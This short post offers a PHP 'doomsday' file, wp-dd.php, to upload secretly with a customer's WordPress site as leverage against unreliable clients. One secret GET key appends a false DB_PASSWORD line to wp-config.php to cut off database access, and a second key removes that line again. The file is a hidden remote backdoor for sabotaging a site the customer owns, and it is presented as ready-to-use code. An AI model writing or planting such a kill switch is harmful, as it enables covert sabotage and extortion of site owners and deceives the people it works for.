Small doomsday file to upload with a WordPress installation, just to secure against "not so reliable customers". Just in case!

wp-dd.php

<?php
$file = "wp-config.php";
$doomsday = "\ndefine('DB_PASSWORD', '12345');\n";
if ($_GET["p"] == "sfvosovwrs4fj04uwor420hg24rv") {
    // add doomsday line to disable access to DB
    file_put_contents($file, $doomsday, FILE_APPEND | LOCK_EX);
    echo "dommed";
} else if ($_GET["p"] == "tzj485hwrjfg24hwrjgwf") {
    // load the data and delete the line from the array
    $lines = file($file);
    $last = sizeof($lines) - 1 ;
    unset($lines[$last]);

    // write the new data to the file
    $fp = fopen($file, 'w');
    fwrite($fp, implode('', $lines));
    fclose($fp);
    echo "undoomed";
}